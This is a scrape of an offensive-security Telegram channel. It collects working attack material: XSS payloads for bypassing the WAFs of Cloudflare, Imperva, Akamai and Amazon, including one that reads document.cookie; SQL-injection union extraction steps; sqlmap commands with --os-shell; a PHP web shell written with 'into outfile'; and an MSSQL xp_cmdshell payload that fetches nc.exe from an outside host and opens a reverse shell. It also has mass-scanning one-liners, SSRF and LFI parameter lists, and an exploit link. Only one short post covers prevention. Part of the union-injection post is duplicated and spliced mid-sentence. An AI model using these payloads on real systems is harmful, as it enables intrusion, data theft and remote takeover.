ExploitQuest
6.84K subscribers
37 photos
9 videos
2 files
41 links
Download Telegram
Bypassing WAF (Web Application Firewall) in XSS (Cross-Site Scripting) attacks relies on exploiting various techniques and methods to bypass the protection put in place by the firewall. WAF is designed to intelligently inspect inputs and requests to detect potential attacks such as XSS, but there are several ways to bypass these mechanisms. Here are some techniques that may help in bypassing WAF in XSS attacks:


1.Encoding
Input encoding can be used to confuse WAF and prevent malicious payload detection.

Examples:

URL Encoding:


<script>alert('XSS')</script>


It can be encoded:

%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E


HTML Entity Encoding:
Special characters can be converted to HTML encoding:


&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;


2.Using Comments

Some WAFs may ignore input if the code is split via comments.

Examples:

XSS using comments to split code:


<scr<!--comment-->ipt>alert('XSS')</scr<!--comment-->ipt>


3. Case Variation

WAF can be case sensitive. You can change the case to make the code undetectable.

Examples:


<ScRipT>alert('XSS')</sCrIpT>


4.Use Alternative Event Handlers

Events in HTML that may not be strictly checked by WAF, such as onfocus or onmouseover, can be exploited.

Example:


<img src="x" onerror="alert('XSS')">


May be replaced by:

<input onfocus="alert('XSS')">


5.Bypass WAF using Adding Padding Characters

You can add spaces or insignificant characters inside the malicious code to make it undetectable.

Examples:


<scr ipt>alert('XSS')</scr ipt>


6.Use eval(), setTimeout(), or setInterval()

Some WAFs scan for obvious code like alert() or document.write(). By using functions like eval() or setTimeout(), you can make malicious code less obvious.

Example:


<script>setTimeout(function(){alert('XSS')}, 100);</script>


7.JavaScript Coding Using String.fromCharCode

You can use the String.fromCharCode function to generate JavaScript code dynamically.

Example:


<script>alert(String.fromCharCode(88,83,83));</script>


This will print "XSS".

8.Using DOM-based XSS techniques

In some cases, WAF can be bypassed using techniques that rely on XSS in the DOM only, where the code is injected directly into the browser without having to send the request to the server.

Example:

var input = document.createElement('input');
input.setAttribute('onfocus', 'alert("XSS")');
document.body.appendChild(input);
input.focus();



9.Hiding code inside unexpected media

You can embed XSS code inside non-traditional HTML elements, such as SVG files or titles.

Example:


<svg onload="alert('XSS')"></svg>


10.Use complex conditional statements or mathematical functions

You can use conditional statements or mathematical operations to make malicious code less obvious to a WAF.

Example:


<script>if(1<2){alert('XSS')}</script>


11.Using JavaScript: In URL

You can try to insert JavaScript code inside a URL using the javascript: protocol.

Example
:

<a href="javascript:alert('XSS')">Click me</a>


12. Exploiting weak or non-comprehensive filters

Some WAFs may not scan all input types or fields. You can try to inject malicious code in unexpected places such as hidden fields or metadata.

Example:

Injecting malicious code into an unexpected field:


<input type="hidden" value="<script>alert('XSS')</script>">



Conclusion:
Bypassing WAF in XSS attacks requires experimenting with different techniques and using innovative ways to make the malicious code undetectable. Protection from these attacks depends on constantly updating WAF mechanisms and following good security practices such as input filtering and output encoding.



#xss #waf
πŸ‘9❀5
cloudflare bypass payloads


Payload:

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>


Payload:

<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>


Payload:

"*prompt(document.domain)*"


payload:

<img/src=x onError="`${x}`;alert(`Hello`);">


payload:

<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt`1`>


payload:

<img/src/onerror=setTimeout(atob(/YWxlcnQoMTMzNyk/.source))>



payload:

"%3cSvg%20Only%3d1%20OnLoad%3dconfirm(1)%3e" 



payload:


<select><style></select><svg onload=alert(1)></style>


payload:

"><img src=x onerrora=confirm() onerror=confirm(1)>


payload:

<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>




Payload:

"><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus>



Payload:

%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E



payload:

<img/src=x onError="`${x}`;alert(`Hello`);">



Payload:

&#34;&gt;&lt;track/onerror=&#x27;confirm\%601\%60&#x27;&gt;



Payload:

"><track/onerror='confirm`1`'>


Payload:

<inpuT autofocus oNFocus="setTimeout(function() { /*\*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;


Payload:

<inpuT autofocus oNFocus="setTimeout(function() { /*\`*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\`*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;




#xss #waf #cloudflare #bypass
πŸ‘6πŸ”₯3❀1πŸ₯°1
Top 25 SSRF parameters

β€’ ?dest={target}
β€’ ?redirect={target}
β€’ ?uri={target}
β€’ ?path={target}
β€’ ?continue={target}
β€’ ?url={target}
β€’ ?window={target}
β€’ ?next={target}
β€’ ?data={target}
β€’ ?reference={target}
β€’ ?site={target}
β€’ ?html={target}
β€’ ?val={target}
β€’ ?validate={target}
β€’ ?domain={target}
β€’ ?callback={target}
β€’ ?return={target}
β€’ ?page={target}
β€’ ?feed={target}
β€’ ?host={target}
β€’ ?port={target}
β€’ ?to={target}
β€’ ?out={target}
β€’ ?view={target}
β€’ ?dir={target}
πŸ‘8
⚑️ Exploit for CVE-2024-8504 & CVE-2024-8503: SQLi and RCE ⚑️



https://github.com/Chocapikk/CVE-2024-8504/blob/main/
πŸ₯°4πŸ‘1
## Reverse Engineering the XSS Cloudflare WAF Bypass

Let's break down how this XSS payload bypasses Cloudflare's WAF:


Encoded Payload:

"><track/onerror='con %60'>



Clean Payload:

"><track/onerror='confirm1'>



Encoding Techniques:

* HTML Entity Encoding: The double quote (") is encoded as " and the greater than symbol (>) is encoded as >. This helps evade basic WAF filters that look for these characters in their raw form.
* URL Encoding: The backtick () is URL encoded as %60. This can help bypass filters that specifically look for the backtick character which is commonly used in XSS payloads.


Bypass Mechanism:


1. HTML Entity Decoding: The browser decodes the HTML entities " and > back into their original characters: " and >.
2. URL Decoding: The browser decodes %60 back to a backtick ().
3. Payload Execution: The resulting payload becomes:



"><track/onerror='confirm1'> 


This injects a <track> tag into the HTML. The onerror attribute allows us to execute JavaScript when an error occurs during track loading.
4. JavaScript Execution: The JavaScript code confirm1 is treated as a function call. Since confirm() is a built-in JavaScript function, this will trigger a confirmation popup box. This demonstrates successful XSS execution.


Why this bypasses Cloudflare WAF:


Cloudflare's WAF likely has rules to detect common XSS patterns, including the use of <script>, eval(), and potentially even onerror with specific event handlers. However, by combining HTML entity encoding and URL encoding, the attacker has obfuscated the payload enough to bypass these basic checks.


Key Takeaways:


* Encoding Techniques are crucial for bypassing WAFs: Attackers use various encoding methods to make malicious payloads appear benign.
* WAFs need to be constantly updated: WAF rules need to evolve to catch increasingly sophisticated bypass techniques.
* Understanding the underlying mechanisms is key to both attack and defense: By analyzing how a payload works, we can better understand how to craft effective bypasses and how to improve WAF rules to prevent them.


Note: This is a simplified explanation. Real-world WAF bypasses can be much more complex and involve multiple layers of obfuscation and exploitation techniques.


#xss #waf
πŸ”₯6πŸ¦„3❀1πŸ‘1
Finding Parameter + XSS using Arjun & KXSS

arjun -q -u target -oT arjun && cat arjun | awk -F'[?&]' '{baseUrl=$1; for(i=2; i<=NF; i++) {split($i, param, "="); print baseUrl "?" param[1] "="}}' | kxss

kxss

Arjun

#xss
#bug_bounty
πŸ”₯6❀2
One liner to find RCE

cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent
πŸ”₯7πŸ‘Œ2πŸ‘1
Bypass XSS Filter with Array

Payload :
<noscript><p title="</noscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">

#xss #waf
❀4
Metode untuk mencari kerentanan Sqli :

Command Line Tools Like a Pro

1.

sublist3r -d target | tee -a domains.txt


2.

cat domains.txt | httpx | tee -a alive.txt


3.


cat alive.txt | waybackurls | tee -a urls.txt


4.

gf sqli urls >> sqli.txt


5.

sqlmap -m sqli.txt --dbs --batch --level 3 --risk 2 --time-sec 10 --random-agent


#sqli #sql
❀5πŸ”₯2πŸ‘2πŸ‘1
One line to find an XSS vulnerability, you can edit and add other things



echo "testphp.vulnweb.com" | waybackurls | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq


#xss
❀3πŸ¦„3
❀5
SQLMap from Waybackurls

waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

#sql
πŸ‘2πŸ‘2
LFI Vulnerability Testing

?dir={payload}
?action={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?include={payload}
?page={payload}
?locate={payload}
?site={payload}

#LFI
πŸ‘4
​​Transition from SQL injection to shell or backdoor

We use the β€œinto outfile” command to write to a file:


' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' # 

We capture the request in Burp Proxy and save it to the post-request file, then run

sqlmap:

sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10

reverse netcat shell via mssql injection when xp_cmdshell is available:

1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--

#sql #shell
πŸ¦„3✍2πŸ”₯2❀1πŸ‘1
In SQLMap, the tamper module plays a crucial role by modifying or "tampering" with the SQL queries sent to the database. This helps bypass security mechanisms such as Web Application Firewalls (WAFs) or detection systems.

Tamper scripts manipulate SQL queries in various ways, making them less recognizable to security filters or even allowing the queries to slip through undetected. Here are some commonly used tamper scripts in SQLMap:


1- space2comment

Converts spaces in the query to comments (/**/) to make it less obvious to security mechanisms.

2- charunicodeencode

Encodes characters in the query into Unicode format, helping to evade detection by some systems

3- between

Uses the BETWEEN operator instead of = for comparisons in the query, which can bypass basic filters.

4- randomcase

Randomly changes the case of characters (uppercase/lowercase) in the query to make pattern recognition harder.

5- apostrophemask

Escapes single quotes (') by adding a backslash (\) before them to avoid detection.

6- equaltolike

Replaces = with LIKE in the query to bypass filters that detect equality operators.

7- space2dash

Converts spaces into dashes (--), which are considered comments in SQL, making the query less recognizable.

8- versionedkeywords

Adds version comments to SQL keywords, for example, turning SELECT into SELECT/*version*/, which can evade simple keyword filters.



You can use tamper modules in SQLMap by specifying the --tamper option. For example:


sqlmap -u "http://example.com/vuln.php?id=1" --tamper="space2comment"



Each tamper script serves a specific purpose, and it's often necessary to experiment with different ones depending on the target's security mechanisms.


#sql #waf
❀5πŸ‘3
SQL injection: what is it and what is it used for? SQL injection is an attack that can lead to sensitive data being compromised and even an entire system takeover. It is important for developers and system administrators to be aware of this threat and take necessary measures to prevent it. Using prepared statements with parameterized queries, input validation and sanitization, and regular security checks can significantly reduce the risk of a successful attack. - Here is an example of code vulnerable to SQL injection:


<?php
// Get username and password from the request
$username = $_POST["username"];
$password = $_POST["password"];

// Create SQL query to check credentials
$query = "SELECT * FROM users
WHERE username = '$username'
AND password = '$password'";

// Execute the query
$result = mysqli_query($connection, $query);

// Check if the login was successful
if (mysqli_num_rows($result) > 0) {
// Login successful
// Here you can redirect the user to the homepage or show a welcome message
} else {
// Login failed
// Here you can display an error message
}
?>
>



In this example, the PHP script attempts to authenticate the user by checking the username and password against the entries in the Users table. However, there is a significant issue with this code: it directly includes user input (the $username and $password) in the SQL query without properly validating or sanitizing it.

Vulnerability

This lack of validation means that if malicious input is entered in the username or password fields, it may lead to unintended commands being executed. For instance, if an attacker inputs:


username: admin' --


The resulting SQL query would look like this:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'whatever_password_entered'



In this case, the -- sequence comments out the rest of the SQL query, effectively bypassing the password verification. As a result, the attacker could gain unauthorized access.

Prevention

To eliminate this vulnerability, user input must be validated and processed correctly. One effective method is to use parameterized query statements. This approach ensures that user input is treated as data rather than executable code. The modified query would look like this:


$stmt = $connection->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();





By using parameterized queries, the user input is treated as a string, preventing SQL injection attacks.
Conclusion

Always validate and sanitize user inputs and utilize parameterized queries to enhance the security of your applications against SQL injection attacks.



#sql
πŸ‘8πŸ‘6❀4πŸ”₯1😁1
Private Nuclei Templates.zip
3.9 MB
6000+ Private Nuclei Templates
πŸ”₯40πŸ‘5❀3
XSS WAF Bypass

Imperva


<details/open/id="&quote;"ontoggle=[JS]>


Amazon

<details/open/id="&quote;"ontoggle=[JS]>


Akamai

<details open id="' &quote;'"ontoggle=[JS]>
πŸ‘10❀3πŸ¦„3πŸ”₯2
πŸ’­ Union based:

Look, when you make a request to a URL, there are three modes: (if it interacts with SQL)

1- To return an answer to you
(For example, when buying from a bookstore, it will tell you how many of these books are available)

2- To return a result of the answer to you

(For example, in the same example above, instead of telling you the number, just tell you whether this book is available or not)

3- That no result comes back to you.
(For example, you sent a GET or POST request and now the website asks you to allow it to save ip, cookie, user agent, .. otherwise you will not be allowed to work with the site.

How do we know if we have a union?
If the URL is:



https://site.com?news=22


The following query is sent to the
database:


select * from news where news_id = $newsid;

select * from news where news_id = '$newsid';

select * from news where news_id = "$newsid";


Now, to determine if there is Union πŸ’­ Union based:

Look, when you make a request to a URL, there are three modes: (if it interacts with SQL)

1_ To return an answer to you
(For example, when buying from a bookstore, it will tell you how many of these books are available)

2_ To return a result of the answer to you

(For example, in the same example above, instead of telling you the number, just tell you whether this book is available or not)

3- That no result comes back to you.
(For example, you sent a GET or POST request and now the website asks you to allow it to save ip, cookie, user agent, .. otherwise you will not be allowed to work with the site.


How do we know if we have a union?
If the URL is:


https://site.com?news=22


The following query is sent to the database:


select * from news where news_id = $newsid;

select * from news where news_id = '$newsid';

select * from news where news_id = "$newsid";


Now, to determine if there is Union or not, we have:

With order by, you can extract the number of columns in a database.

Default request:


page/?id=54


Test 1:

page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #


Test 2:

page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#


Above if:

Default == Test 1

And also
Test 1 != Test 2

We understand that we have Union (:
Now how to extract the information?
The first step is to get the number of columns
And we can find as follows:



page/?id=54 order by 1 # same as



default request

page/?id=54 order by 2 # same as


default request

page/?id=54 order by 3 # same as


default request

page/?id=54 order by 4 #


not same as Default
So we understand that we have 3 columns


Now with:

page/?id=54 union select 1,2,3 #


We can find the column that returns to us and run our own payloads in it to get data:

For example, to get the database name:
(if it returns the third column)



page/?id=54 union select 1,2,database()#


To get the tables of a database:

page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --

To get the columns of a database and a table:

UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --


And to get data, we have a column:

UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --


#SQLIor not, we have:

With order by, you can extract the number of columns in a database.

Default request:


page/?id=54


Test 1:

page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #


Test 2:

page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#


Above if
Default == Test 1

And also
Test 1 != Test 2

We understand that we have Union (:
Now how to extract the information?
The first step is to get the number of columns
And we can find as follows:


page/?id=54 order by 1 #


same as default request

page/?id=54 order by 2 #


same as default request

page/?id=54 order by 3 #


same as default request

page/?id=54 order by 4 #


not same as Default

So we understand that we have 3 columns
Now with:


page/?id=54 union select 1,2,3 #


#sqli
πŸ‘‡πŸ»
πŸ‘2❀1
We can find the column that returns to us and run our own payloads in it to get data:

For example, to get the database name:
(if it returns the third column)


page/?id=54 union select 1,2,database()#


To get the tables of a database:

page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --


To get the columns of a database and a table:

UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --


And to get data, we have a column:

UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --


#SQLI
πŸ‘2